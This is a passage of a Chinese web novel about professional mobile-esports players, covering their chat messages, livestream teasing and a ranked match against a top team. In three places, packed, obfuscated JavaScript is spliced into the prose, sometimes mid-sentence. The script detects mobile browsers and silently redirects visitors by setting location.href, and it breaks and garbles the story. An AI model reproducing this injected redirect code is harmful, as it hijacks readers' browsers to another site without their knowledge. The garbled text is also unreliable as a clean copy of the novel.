这些是算上了他陪玩的价格、喊郁秋的次数以及对方的收入的总和。 一把游戏就能赚这个数,那两把游戏的收益他简直是不敢想象。 而且他相信,这种赚钱的好机会一定不会是常有的。 不过…… 他抬眸,看向坐在旁边心情似乎也有些阴郁的人,似是挑衅地勾起嘴角:“她把你的五百块也给我了,她不是说扣钱吗?” 郁秋烦躁地挠了挠头:“她就这样,喜欢口嗨。” “所以……”看着对方的模样,结合郁秋刚刚那些奇怪的问题,夜雨辰不禁好奇道,“你喜欢的人是她吗?” 郁秋一愣。下一秒,他的脸上瞬间写满了嫌弃:“怎么可能?你怎么会这么想?” 夜雨辰眨眨眼:“她刚刚说你们认识十几年了,然后你昨天晚上跟我说的话,你也像是已经有目标的人。” 而且时间还不短那种。 “我和她、还有其他几个人是从小一起玩到大的。”郁秋目光深邃地看着他,“我的目标从不是她。” 夜雨辰蹙眉,下意识开口:“那是谁?” 郁秋轻笑一声,反问道:“你很好奇?” “……”夜雨辰瞬间反应过来自己刚刚问了什么,倏地一下站起来,“一点都不。打完了我就先撤了,你继续玩。” 说完,他就匆匆地离开了训练室。 郁秋意味深长得看着他离去的背影。 这时,他微信收到了一条消息—— 【Kimi:老实说吧,你是不是喜欢他?】 他看了一眼消息,冷哼一声。 【Q:叫你帮我还个钱你却在这整我,你不知道他就在我旁边随时可以看到我的表情吗?】 他本来叫Kimi和夜雨辰打陪玩的目的是想让她替自己帮小U还夜雨辰那一千块饭钱的,哪知道这大小姐灵机一动,在游戏里提出了这么个鬼点子。 搞得现在他的心率还是没有降回常速。 【Q:你到底是从哪学的这种东西啊?】 【Kimi:别瞥开话题,你到底喜不喜欢他?我是真的很想知道,Night说你听到这些后表情满是震惊的恶心。】 【Q:……我什么时候恶心了?】 他记得他刚刚一直都在克制自己的嘴角不要笑啊? 【Kimi:那就是喜欢咯?你别告诉我孟凌轩和冷姝言都知道这件事,就我不知道。】 【Q:你现在知道了。】 【Kimi:好啊你们三个排挤我!】 【Q:你又不愿意来战队工作,告诉你干嘛?管好你自己的工作室吧。】 【Q:而且还让你歪打正着多知道了个夜雨辰的秘密,你就偷着乐吧。】 【Kimi:那确实,以前最多就怀疑Night是模仿Rain的,但真没想到这俩居然是同一个人。】 【Q:丑话说在前,虽然知道你不会说出去,但我也得再三跟你提醒,你认识的只有Night,没有Rain,但凡你透露一点出去,那咱们的情义不止是到此为止。】 他知道,夜雨辰特别抵制自己是Rain的事给其他人知道的。 【Kimi:哟哟哟,好恐怖的威胁,好护夫啊,那可以让我问问为什么吗?】 【Q:你刚刚说的那个群,里面的人不止有Night的粉丝吧?】 【Kimi:那还有什么?】 【Q:那个词怎么说来着?cp粉?】 【Kimi:……】 【Q:我可以告诉你,两年前因为我喜欢他,所以在网友言语不出格的情况下,我会喜欢看别人磕我们俩cp,但后来我才知道他其实很反感、很厌恶这件事,所以最后他改ID且注销了账号。】 这是两年前在Whisper Tree ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【Kimi:我算是知道为什么你两年都追不上一个人了。】 郁秋对这真摸不着头脑。 【Q:你们的磕点究竟是从哪来的,我改还不行吗?】 【Kimi:那你俩就收敛点互动,特别是你,自己直播间的摄像头每次都不老实呆着,老跑去别人的镜头下黏着他干嘛?】 【Q:我又没黏着他,怎么可能会表现得那么明显。】 【Q:而且你又不是不知道,我讨厌被人看着打游戏。】 特别是让他知道那么一堆人在看他的第一视角打游戏,还有各式各样的评价他打法的言论,他在那个情况能打好才怪。 【Kimi:你现在都上场多久了,还没克服这个毛病吗?】 【Q:一直在尽量改。】 【Kimi:我真的好奇了,你这毛病到底怎么来的?你没打职业的时候也不至于手抖成这样啊?要不是因为这莫名其妙的毛病你会被骂这么久吗?】 【Q:紧张而已,人之常情。】 【Kimi:你刚开始做职业的时候还能理解你的紧张,你现在都已经算个老选手了,怎么可能还会紧张?】 【Kimi:而且你也不是不知道,这个问题你要是不克服,你在赛场上就永远无法发挥出你自己的真实水平,所以最后,你的冠军只会没戏。】 职业选手的赛场一定是建立在无数耀眼的聚光灯之下的,所以不论是场上还是场下、观众还是裁判,一定会有无数双眼睛注视着场上寥寥无几的选手的。 所以无论如何,只要郁秋一直无法改掉这个一被人看着操作就紧张的毛病,那他的职业生涯将注定与冠军无缘。 41. 空 凌晨十二点,JYY的排位组队车里的麦克风吵吵嚷嚷。 开开笑嘻嘻道:“哥哥他欺负我,给我报仇~” 夜雨辰深吸一口气,寒声道:“……陪玩要求而已,咱能把这件事翻篇了不?” 他刚刚才知道,他和郁秋下午在训练室打陪玩的时候,门外有俩人原本想到训练室蹭空调,结果在听到这些动静后,他们选择在外偷听了一会。 One立马应和:“好的宝宝~” 郁秋轻咳一下。 Qian没忍住笑出声。 开开继续乐悠悠道:“老公我想要个蓝~” “唰!” 夜雨辰倏地一下站起身。 “喂等等夜雨辰你要去干嘛?!”郁秋见状,立马腿一蹬,坐的椅子直接堵住房间门口。 夜雨辰搓了下双拳,脸上满是和善的微笑:“时间不早了,我觉得队友该做一下助眠运动。” 郁秋干笑一声,试图安抚对方:“那个,有话好好说,你先坐回你的位……” 这时,郁秋放在桌上的手机和夜雨辰揣在兜里的手机同时响起了相同的细夹的声音—— 开开:“秋哥哥来接我,好的夜宝宝~” 夜雨辰挑眉,脸上的笑意越发和善。 郁秋眨眨眼:“……” 他默默地拉着自己的椅子回到桌前。 “去吧,顺便带我那一份也揍了。” “要揍自己去。”丢下这句话后,夜雨辰立马冲向隔壁房间。 “砰!” 房间一声巨大的开门声吓得开开一激灵。 他脸上的笑容顿时僵住,缓缓扭过头:“夜……夜哥,这么晚有何贵干吗……” 夜雨辰似笑非笑:“你说呢?” 郁秋的声音幽幽传来:“我尽力了,我没拦住他。” Qian将视线放在门口满是杀气的青年半晌,再将满是自求多福的眼神看向自己的舍友,默默转过身,顺手把本就离开开很远的椅子再往旁挪了挪,似是怕过会发生什么他会被波及进去。 开开自然也感受到了夜雨辰散发的气息,他吞了口唾沫,眼神慌张地往桌上的游戏界面一瞥:“那个,老One刚刚不也说了嘛,咱们要不这样,先打老再打小……” 这时候,One突然在游戏里开口:“哎呀零落洗完澡出来了,先让他来跟你们排,我晚点再来。” 说完,他立马退出了游戏房间。 “?” 开开眼睁睁地看着和自己起哄的人就这么水灵灵地走了。 下一秒,一个拳头如飓风而至。 “万帅你个畜牲!!啊——!Night你轻点!!” 几分钟后,夜雨辰拍了拍手,回到了自己的房间。 郁秋这时在组队车里侃侃道:“你们现在是起哄够了,过会直播的时候就别说这些话了哈。” 开开瞬间了然:“懂,你们害羞了,放心,我不会说的。” 夜雨辰的脚一顿。 下一秒,他转过身准备重新出房门。 郁秋直接拉住他的衣襟把他拽回了座位,在组队车里悠悠道:“张凌开你是觉得他一个人揍你还不够吗?” 开开一噎:“……” 零落在旁看戏笑道:“哈哈,怪不得老One催我赶紧来替他,感情是被你俩吓跑了。” “他本来就说让你先来打几把。”夜雨辰冷哼一声,打开了直播:“开播了。谁是房主来着?开游戏。” 【哦哦,终于开直播了,今天好晚。】 【今天是五排吗?】 【One呢?这个四楼是谁?好陌生,他直播链接能给一个吗?】 他瞥了一眼弹幕:“教练,他不直播。” 【哦,所以今晚是四带一啊。】 【好羡慕,我也想做这个一,能不能让我来?】 夜雨辰微微蹙眉:“不是,我们六个没有谁带谁的说法。” 【教练技术肯定也没你们几个强吧?不然他肯定去当选手了,干嘛来做教练?所以还不是四带一?】 “……” 他轻啧一声,懒得解释。 郁秋跟他说过,零落应该是整个职业联盟里实力最强的教练之一了。 【主播主播,怎么今天你的镜头里只有你一个人?Qiu呢?】 夜雨辰一怔,他扭头看向自己身边的一片空气,这才后知后觉发现,郁秋这次并没有自觉地把椅子搬到他旁边。 他略微诧异地转头,看向仍然坐在自己位置上、完全无动于衷的人的后脑勺。 “郁——”他刚开口想问,却又立马住了嘴,悻悻然地转回头,进入了游戏bp界面,顺便回答弹幕,“我怎么知道他?不关我事。” 有什么好问的?郁秋本就该老老实实的呆在自己的直播间下,之前把他拉过来也只是怕双排被他那个毛病坑输而已,五排的话他们还是输不了的。 不过,他的眼里闪过一抹没来由的烦躁。 就是不知道为什么,他心里突然有一股说不出的感觉。 硬要说怎么形容的话,就是好像有点空……? 像他旁边这块空荡荡的地板一样。 这一把游戏,有的人在瞎练英雄,有的人在专注打配合练英雄体系,有的人似是有点不在状态,也有的人在拼命血c。 开开大吼道:“快来个人救我啊啊啊啊!” 他一个仅剩两格残血的马超在不停地戳枪逃跑,身后是敌方三个追兵。 Qian不耐烦道:“闭嘴,我耳朵要被你叫聋了。” 开开哭道:“你没有心啊老千!我以为你只会在One在的时候会这样!结果现在零落打射手你也对我不闻不问?!” 零落看着开开2/8的战绩,乐呵呵道:“你先把你战绩打正了在说话吧。” “你们两个畜牲!!啊,Night和秋哥,快来帮我拆个火!!”看到夜雨辰的王昭君和郁秋的露娜从侧面赶来自己的位置,开开的双眸瞬间发亮。 下一秒,王昭君的控制技能没限制住对面任何人,露娜本想借着兵线进场拆火的大招断了。 “……?” 开开的眼神瞬间失去光芒。 【系统提示:您已被击杀!】 【战绩:2/9/1】 他再也忍不住大哭道:“夜雨辰!郁秋!你们两个菜逼演员!!” 零落虽然和Qian这时恰好赶来了支援。 凭借着全场一号位的经济,零落收割起对面来十分轻松,他莞尔道:“你怎么知道他俩不是在报复你故意不救你呢?” 【这射手好帅我好爱。】 【很少见Night也这么心不在焉的时候啊,这把几乎就没见他控到过人。】 【可能只是这几天玩太久了没休息够吧?】 【但这个射手真是教练不是tb吗?①这么强。这把他们全靠射辅起的节奏,Qiu又在做他的花瓶打野了】 【排位而已,大惊小怪什么?c一把多正常?对他们来说不随便赢?】 【但这个零落脾气也好好,他不仅有自己的节奏,还能跟上其他人的配合,是谁一开始说四带一的?】 【等等,你说这射手是零落?】 【对啊,怎么了?】 【那正常了,他两年前好歹也是一名青训生,实力毋庸置疑。】 【怎么可能?青训生的目标都是做上场比赛的职业选手,他怎么可能最后做一个只能坐在台下眼睁睁地看着别人比赛的职位?】 【他确实是青训生,可他落选了啊。可能因为教练也能上场比赛,所以他选了这条路咯。】 * “啊,老One差不多好了,你们休息会,他很快就来。” 打完三连胜且c了三把后,零落留下这句话后就下了线。 排位车队里一下只剩四个人,等待着One回来继续发车。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081135|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 夜雨辰趁着这个空白时间段,站起身,面无表情地走到郁秋旁边。 这几把,他不知道为什么打得特别烦躁。 他直接把郁秋直播间的摄像头和麦克风关闭后,偏过头,直勾勾地对上满是疑惑他这个行为的目光,低沉道:“你这几把打得辣到我眼睛了。” 郁秋眨眨眼,奇怪道,“所以呢?你这打得也不怎么好吧?” “……” 见对方没有领会到自己的意思,夜雨辰轻啧一声。 他暗示得还不明显吗? 这不是明显让他自觉把椅子搬到自己旁边吗? 但郁秋却一副什么都不知道的模样:“所以你想说什么?” 夜雨辰深吸一口气。 这家伙…… 他一咬牙,语速极快道:“你不是不喜欢被别人看着打游戏吗?今天干嘛就坐在这一动不动了?” 为什么不来我旁边坐着? “这个啊,”郁秋一副恍然大悟的模样,摊了摊手,“我总得学会接受并纠正这个缺点不是嘛?所以这不趁着现在五排来改正嘛?不然到时候在赛场上我还手抖怎么办?” “……” 夜雨辰的目光阴沉了下去。 他冷哼一声,直接转身回到自己的座位。 郁秋稍微松了口气。 算是忽悠过去了。 “哗啦!” 突然,熟悉的椅子在房间地面滚动的声音由远及近,他忽地一怔。 他有点不可思议地转过头,双眸逐渐睁大—— 只见刚刚阴沉着脸离开的青年正拿着自己的训练机和手机,耳垂微微泛红地坐在自己旁边,顺便帮他把直播间的直播间和麦克风重新打开了。 喂,等等?他可从没想过这样的发展啊…… “别误会,我陪你改,反正比赛的时候我也坐在你旁边,你就当我在给你模拟现场呗。” 在打开麦克风前,对方是这么冷漠的、面无表情的解释的。 他的心里顿时只余慌张。 要知道,“Qiu”的直播间可是比“Night”的直播间观众还多几倍的。 【Rain:跟你说个事,除了Whisper Tree外,我注销音符平台账号顺便改ID了,那群人真是太烦了,老把我和秋绑在一起问问问磕磕磕,搞得我现在都有点讨厌他了。】 他立马抬手,纤细苍白的手指颤抖地搭上鼠标。 【Q:你们的磕点究竟是从哪来的?我改还不行吗?】 【Kimi:那你俩直播的时候就收敛点互动……】 赶紧把直播关了,这样就没人会说…… 这时,夜雨辰突然拿手肘怼了怼他,催促道:“快ban英雄,没时间了。” ? 他突然回过神,缓缓低头看向手机界面。 One不知道什么时候进组队房,游戏已经进入bp页面了。 他低骂一声,只好趁着最后五秒不到的时间先把英雄ban了。 “喂,郁秋。” 突然,夜雨辰叫了下他。 郁秋心里倏地一颤,缓缓偏过头。 “又怎么……” 突然,他的话戛然而止。 他看到了那副再次让他心动不已的模样—— 只见夜雨辰正目不转睛地看着弹幕的刷屏,眼里迸裂着跃跃欲试和按捺不住地迫切火光,嘴角也正因兴奋而控制不住地上扬。 他吞了一口唾沫,一字一句道:“这把,认真打。” 他在压抑内心的激动。 郁秋将视线同样转向电脑。 只见他的直播间,弹幕不是他想象的磕cp文字,而是在不停地刷屏—— 【卧槽真的撞车了!!对面是S组的Wao!!】 【而且对面也全是一队的队员啊卧槽!排位秒变比赛现场!!】 【惊!深夜五排竟成了一把职业比赛!】 42. 舞台 职业联赛中,共分为S组、A组和B组三个级别,每一级别里分别有六个战队。 而一般来说,一个战队很少会和跨了两个级别的战队约训练赛的。 就比如S组的Wao和B组的JYY。 两个战队水平相差过大,所以对S组的战队来说,打B组战队算降维打击,浪费时间。 “郁秋,这把认真打。” 夜雨辰压抑着内心的亢奋,声音有些颤抖对旁边人道。 对面全是S组一队的选手,他早已期待了很久如此级别的团队。 他的训练赛,最多就摸过A级战队,而现在,他终于可以感受一次他们和跨级别的战队差距在哪。 郁秋眸光波动了一下。 游戏已经开启,而且对手还是如此级别的战队,如果他现在关闭直播,很有可能会让他以及战队有一些的负面声音。 他轻笑一声,无奈道:“好。” 说着,他就在组队麦说道:“张凌开,这把别练英雄了,不然等下你信誉分①要不保了。” 开开疑惑:“为啥?” “一是咱家中单想认真拿下这把游戏。”郁秋咯咯道,“二是,怕你这把被对面抓惨了。” 开开感到更加奇怪了:“对面很强吗?谁啊?” Qian幽幽道:“你对线的是伞大哦。” 开开大惊:“等等,不是吧,撞Wao了??” Wao.伞大是联盟公认的三大最强边路之一,也是很多后辈包括开开崇拜的对象。 也不怪他不清楚自己的对手是谁,现在还在bp界面,他自然而然看不到对手的id的,而他在JYY的五个直播间里还是观众最少的那个,所以弹幕稀少到根本没人提醒他。 他毫不犹豫的选了他自认为最c的那个英雄,自信满满道:“我懂了秋哥,这把我一定会带你们飞的,毕竟你和Night这几把的状态确实靠不住,所以为了Night的好胜心,我这把一定认真打。” “……”郁秋锁下坦野,冷笑一声,“呵。” One锁好射手,像是拱火般:“懂了懂了,认真打认真打,带飞义不容辞。” 意思是这把中野靠不住? 夜雨辰挑眉,自信地锁下大乔中单。 Qian选好张飞,对边射二人无语道:“你俩还是老实把嘴闭上吧。” 【靠,一把十个职业标同时在加载页面简直不要太帅。】 【难得见Qiu玩自己的号,这个场面闪瞎我的狗眼。】 【这把感觉明天会被剪成素材放进音符啊,职业全队撞车的对局真的很少见!】 【这个战队真是狗屎运,又有热度可以蹭了。】 …… 游戏一进入对局,对面就将文字开启到十人可见—— 【Wao.二三:大半夜的怎么上难度了?】 【Wao.IN:同事,强行加班啊,老One下手轻点。】 One和Qian毕竟还是在JYY拿过冠军的,所以他们对这两个曾经的对手也不算陌生。 准确来说,对面射辅会打招呼纯粹是因为他们四个曾在赛场上对线过不止一次,早已熟悉彼此。 【JYY.One:老了,打不动了,排位而已,放放水。】 这把对局,虽然JYY选的英雄在前期对线上可以让天平往他们的方向倾斜一点,但是,这个游戏除了看英雄互相克制,还看手法和节奏。 在五分钟左右,Qian意外被Wao集火打掉一个大招后,对面野辅便毫不犹豫地踩住中轴,把中线权拿在手中。 夜雨辰立马意识到对面想做什么:“快把蓝拉脱!” 郁秋果断放弃蓝区:“来不及。” 夜雨辰咬牙。 啧,确实。 现在开局已经过四分钟,防御塔减伤机制消失,蓝buff刷新的时间节点刚好被卡在了对面抢完中路线的时候,直接让他面临了一个熟悉自家蓝buff和中一塔二选一的选择题。 肯定是选中一塔。 他想也没想。 蓝buff丢了一个还能再刷,中一塔要是掉了,那后面的野区可以说完全会沦陷易主,那他们就会完全陷入逆风了。 而且,对面这把前期老是抓着那么点空隙带至少两个人去偷他们家的小野,所以即使现在没有爆发过人头,他们团队的经济也被对面拉开了两千之多。 所以他完全不敢想象,如果一塔掉了,对面的经济会飞速滚雪球到如此恐怖的境地。 毕竟对面机会抓得很死,一把他们打掉状态,都能迅速开起一波特别小的节奏。 压迫感太强了,根本不给人一口喘息的机会。 他因紧张而战栗着。 他已经很久没有过这种自己几乎从开局到现在都老是被对面牵着鼻子走的感觉了。 “辅助刷好大后帮射手过下线,红区不能放。”郁秋冷静指挥道,“先把红背排了。” 说完,他便关了游戏麦,瞟了一眼旁边表情似是有点严肃的人,小声道:“怎么,怕了?” 语气里满是轻松。 “怎么会?” 夜雨辰勾起嘴角,嗤笑一声,“这比巅峰赛有意思多了。” 十个势均力敌、有团队默契的玩家相互博弈,可比巅峰赛里各个靠着自己发挥打出个人高光的对局紧张刺激多了。 他们守完红区后,夜雨辰突然问道,“你见我玩过几把大乔中单?” 他似是意有所图。 郁秋眨眨眼,瞬间了然,轻声笑道:“请。” “开开去带上,辅助挤中右,把草排干净踩好中轴,打野踩红背防被偷屁股,我们先把中右抢了,然后转下,”夜雨辰一拿过指挥权就果断开始了他的节奏。 有大乔的团队,指挥永远只需要一个人。 既然对面让他牵着鼻子走了这么久,他也应当给予相同的回礼。 此时,三路兵线几乎同时交汇,但由于Wao在下路有人漏了视野,所以JYY的中射辅三人毫不犹豫的将中路线优先抢了,而因他们反手能力极强的边野还没有在地图上漏视野,所以Wao只有试图用技能消耗开团双c,并没有直接冲脸。可惜他们的警惕性很高,不可能这么轻易被开团的。 在他们三个视野完全在地图上消失后,开开才在上路漏视野带线。 但在他即将清完线的瞬间,他右手边的河道突然冲来了一个太乙。同时,他的背后包来一个王昭君,直接断绝了他逃跑的可能。而敌方孙尚香则跟在中辅的身后保持着安全距离开始对他造成伤害,瞬间打没了他半管血。 他完全没贪剩下的两个残血兵线,而是直接使用霸体技能免除控制,并位移往地图边缘的草里靠去,十分像在垂死挣扎。 在他血条濒临耗尽的时候,他刚好进了草丛,视野消失了一瞬,Wao也跟着追进了草丛,准备收割拿下一血。 然后,没有然后了。 开开进草后凭空消失不见了。 一血还是没有爆发。 【这波赚啊,直接让对面白浪费了一波发育时间。】 【嘁,狗屎运罢了,Wao真他妈蠢,这都能中招。】 夜雨辰眸里闪过一道计成的光芒:“边野抢中轴,射辅再过波下路线。” 一切都在意料之内。 刚刚,他趁着自己往下路靠的视野消失后,立马转头偷偷摸摸靠着被动加速摸到了上路草里。他在离开开最近的草丢了一个二技能后,并开始了原地回城。 这是他最喜欢用的一个出其不意的手段 “你卡好时间进圈,闪现能别用就别用,留着下一波开团。” 他是这么提醒开开的。 他完全猜对了对面后手过线的下一步,或是说,开开这波带线本就是一个他们为自己团队创造的一个喘口气回神发育的机会。 刚刚他在推算双方地图上可以得知的信息——JYY的射手在下路清线漏了视野,所以辅助应该是藏在射手附近给好安全视野,而两边的打野在这波兵线都没漏过视野,所以,两边的团战都不会贸然打响。 对方打野八成是在为刚刚带下路线的夏洛特反蹲,所以即使对面的位置全黑到无法观测,但他们下一步应该是五个人准备包夹上路尝试进行一波围杀。 毕竟在Wao得知的地图信息会以为此时是郁秋在帮开开反蹲,所以,只要包围成功,那一定是 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靠夜雨辰的指挥运营,他们成功拔掉了Wao的中一塔和边路二塔,而他们则是掉了双边的一塔。 虽然防御塔有优势,但两边经济其实并没有拉开很大,JYY经济仅仅高于Wao三千经济。 如果单看两边主要核心输出的经济,那可以说是几乎没有差距。 所以这条能给团战增伤的关键buff,两边都不会想放。 谁能拿到,谁就能成为未来时间的优势方。 “开开你再过一波上,打起来我直接把你摇过来,等他过完直接摸暴君,然后龙往上拉一点,我们踩好中右……” 他们现在的站位,是中野辅三个人构成了一个完美的三角形,而射手在中间可以安稳地输出。 此时,夜雨辰的站位在自家野区的红背草,郁秋踩在河道的小草,射辅都踩在中右草按兵不动。 一切还在按照他的构想进行。 只要开开这波把上路线运过去,那对面的高地就是兵线劣势,不得不回去至少让一个人回去守塔,而正面的话他们就能以多打少…… “?!” 突然,他瞪大了眼眸。 在开开上路漏视野的一瞬,对面太乙带着奔狼、双c和快蓄满的一技能,直接冲向了右草,意图盲开。 他下意识地往前一靠走出草丛暴露视野,顺便将回城的二技能往前一丢,并直接开启了大招。 他脑子有点懵。 对面怎么敢就这么开…… 几乎是同一时间,他们家红区,他的后撤路线,闪出来了一个夏洛特。 他呼吸一滞。 怎么会有人出现在这个位置?! 刺客绕后,目标双c。 他直接闪到了夜雨辰面前,大乔的小控制技能直接被他一个细节小走位和位移躲过。 夜雨辰刚往河道一闪现,躲过夏洛特的突脸,恰好,他直接站在了虽然第一时间被Qian拆火,但还是从侧面一直往前顶的对面打野的技能范围内。 【You have been slained!】 后排沦陷。 由于夜雨辰是被第一个轻松秒杀的c位,所以即使JYY的正面被郁秋第一时间拆火和晚到的开开打出了作用,但队伍还是陷入了劣势。 【Aced!】 最终,五换二,JYY团灭。 对面只死了经济最低的中辅。 看着自己这波指挥带领团队走向团灭,前几分钟的优势就这么白打,夜雨辰背后陡然升起了冷汗。 团队瞬间陷入了大逆风。 他有点怔然。 他自信满满的棋局,就这么被突兀地打乱了。 “夜雨辰。” 此时,郁秋泰然自若地关闭了直播间麦克风、游戏麦和正在评论区刷屏谩骂的电脑屏幕。 他似乎对这波团战的失利早已了然,转头看向身边一时有点受挫的青年,眼里没有任何责怪,柔声道: “放轻松,你又当成巅峰赛打了。” 现在可是团队赛。 43. 夸赞 巅峰赛和团队赛的主要差别是什么? 巅峰赛是以自我为核心的游戏。 团队赛是以团队为核心的游戏。 但GloryK本质上还是5v5的电子竞技游戏。 所以,巅峰赛总会有人站出来指挥队友,尝试聚起陌生人的一些凝聚力。但并不是所有人都会听那人的话,因为大家实力不一、意见相悖,而且自视清高。 但团队赛不同。 一个团队永远只会有一个声音。 所以,有默契的团队几乎是不会出现巅峰赛常有的那种会犹豫徘徊的玩家的情况。 他们习惯了彼此,会不约而同舍弃小的,争取大的。 就比如这波暴君团,Wao不像夜雨辰所想的一样,放一个人回去处理即将到达高地的远端线,而是直接舍弃高地塔会掉状态的可能,趁着对面人少、大乔还没摇大的间隙,盲冲一波地图上并没有任何视野的地方开团。 要知道,大乔虽然可以摇队友到正面,但传送也需要时间。 JYY的正面此时只有四个人的视野,而Wao有五个。 所以,这便是个机会。 他们这次没有再按照夜雨辰的预想行动。 JYY因此只剩下了一座上路残血的高地防御塔,其他塔已被平推殆尽。 开开发自内心感叹道:“不愧是伞大,绕后到这个位置,绝了。” One笑道:“小问题小问题,还没输就还有机会。” Qian冷冷道:“拖过这两分钟,随便打。” 拖过增伤buff的时限就好。 没有一个队友在抱怨这次团战的失利。 “怎么说,夜指挥官?” 郁秋轻笑两声,看着坐在自己身边还有些怔然的青年,凑了过去,用仅二人可听的声音小声道,“你不会团灭一次就怕了吧?” 夜雨辰眸光一凝。 他瞬间拉开和郁秋的距离,冷哼一声:“怎么可能?” 自信心是有点受挫,但怎么可能怕? 他深吸一口气,调整了下自己的状态,继续指挥道:“我给对面一个我往下路靠的视野,他们会以为我们要去下路断线提前去冲我,边路从上路的口子看看能不能找机会绕出去。” 开开有点疑惑:“假装带下实则带上?” 夜雨辰否定:“不,你先别漏视野,藏好,正面我们守得住,实在不行我再把你摇回来。” 他顿了一下:“我们直接,放手一搏。” * 龙buff的时间濒临结束,两边战斗力又拉回到了差不多的水平线上。 Wao因为注意到JYY正面一直只有四个人的视野,在兵线还未到达的时候,开始谨慎地排除每个他们视野范围内和必经之路的草丛。 但接近十多个草丛,没有找到消失的敌人。 就在这时,JYY处理好了兵线后,郁秋这把作为坦野,也开始往前压位置,似是在用行动告诉对方——“我们的边路已经绕好位置了”。 对面因此也不敢强行开团。 看不见的敌人永远是最可怕的。 Wao开始用技能和普攻拉扯消耗,边打边退,但两边终究没人敲响团战。 霎时,Wao的正面突然停止了后退,对面同样身为坦克的打野贴脸和郁秋互相牵制在原地,而王昭君则选择接控bo,将他控在原地无法使用技能。 他们选择开团了一个坦克。 就在这时,伞大的夏洛特又从JYY的后排包夹位突然出现,目标依旧直指双c,但这次,他更执着于先杀One。 后期对局,射手一死,一个人团队的失败几乎注定。 One毫不犹豫地往红草跑,而夜雨辰则是往相反的方向跑,Qian的大招则在帮双c拆火,给双c拖延点时间让夏洛特无法第一时间贴脸秒杀。 伞大被控制了不到两秒后,便直接略过Qian的张飞,继续往草里追去。 就算有阻碍,他也要先把One杀了,而对面的拆火技能几乎全数用尽。 突然,他一顿。 这是一片空无一人的草丛。 【An ally has been slained!】(你队友已被击杀!) 突然,系统响起击杀的播报。 【Enemy Trible kill!】 不过几秒的时间,Wao的正面瞬间死了三个人唯剩一个残血打野,而JYY却一个没死。 而造成这样局面的始作俑者嘴角一勾,在自家的麦克风频道轻描淡写道: “翻盘了各位。” 此时,郁秋的直播间也已然疯狂。 【草,伞大的边路怎么这么垃圾?还故技重施,被防备了吧?】 【杠精你有多少实力??要不是JYY这波有了防范,那他们这波就团灭了。】 【我在同时看Qiu和Night的直播,Night这个大招也算故技重施吧?就像他前面把二技能丢草里一样。】 【别说,伞大这两波绕后很绝,但JYY的边路这次也很能绕啊,Wao硬是排了十几个草都没找到人】 这时,隔壁战队的一些观众忿忿不平地跑到Night的直播间—— 【太阴了啊!!团战的时候把大招丢草里,谁他妈团战会去看地图特效!!】 【妈的辅助英雄就老老实实去辅助位啊,走什么中单,太恶心了!】 【等等,为什么这个直播间里没人??】 【新来的,学技术可以留在这,找主播就指路隔壁Qiu的直播间。】 【……哈?】 最后,JYY靠着这波团以及上路残血防御塔,直接一波拿下了胜利。 郁秋说打累了直接退了游戏,夜雨辰亦然。 一关上电脑,夜雨辰就兴高采烈地躺在床上,大喊一声:“爽!” 这是他做职业以来第一次在战队里打全是S组战队对手的对局。 而且,这把拿的是他最喜欢的英雄,主指挥也是他。 郁秋莞尔:“指挥得好,太恶心了。” “是大家配合得好。” 夜雨辰伸了个懒腰,完全把这个词当成是在夸他。 最后一波团战,虽然Wao察觉到了开开的消失而后退,但JYY五人同样也洞察到了伞大的夏洛特在他们往前压位置的时候悄无声息地不见了。 猎物出了巢,后背便会有破绽。 所以,Wao在对开开有防备心、同时留好了拆火技能的前提下,同样抓住了伞大制造的这个绝美绕后机会。 但他们一时忽略了夜雨辰的大乔大招放在草里,他们的画面是不会有任何的技能特效的。 很少人会在团战一触即发的时候去看小地图,就算真看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081137|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,提醒队友也已然来不及了。 这个位置刚刚好是Wao后排位的侧面。 所以,Wao.In的射手在走位下意识往红背靠的时候,刚好贴脸怼上了一个满血打野郁秋,吓得他直接闪现往后撤。 刚好闪到了从他们家蓝区包夹过来、并没有使用传送的开开。 Wao在龙团的时候来了一波三面夹击,JYY同样回礼了回去。 郁秋在被对面四人开的同时,大乔二技能刚好放在了他的脚下,由于对面没有强制对手位移的技能,所以郁秋在丝血的时候成功传送回了家,再用大招传回了侧面战场;Qian则是一直在警惕伞大绕后,在他给One争取到时间传送到战场侧面的时候,他便转头去补郁秋的位置充当他们团战正面前排,和夜雨辰一起打敌人。 所以,这波团战里,郁秋往前顶吸引火力逼战场、没有开开超绝绕后且没被发现的蹲伏、没有Qian的大招拆火为One争取时间、没有One的主要输出和自保,以及没有夜雨辰的二技能和大招细节运用,但凡有任何一个人少了个细节,他们都必败无疑。 夜雨辰看着天花板,眼里满是期待的光芒:“所以赛场上也会这么刺激吗?” 这把打得有来有回,惊心动魄,真的太是太刺激、太好玩了。 郁秋颔首:“只会更刺激。” 夜雨辰轻瞟过去,笑道:“你这把就不像前几把一样,状态很稀烂呢。” “……”郁秋的手一顿。半晌,他似是苦笑道:“是啊。” 夜雨辰刻不容缓地给自己的那两个兄弟发去了自己游戏对局的截图疯狂炫耀。 郁秋同样打开了微信,查看零落从刚刚开始不断给他发的消息—— 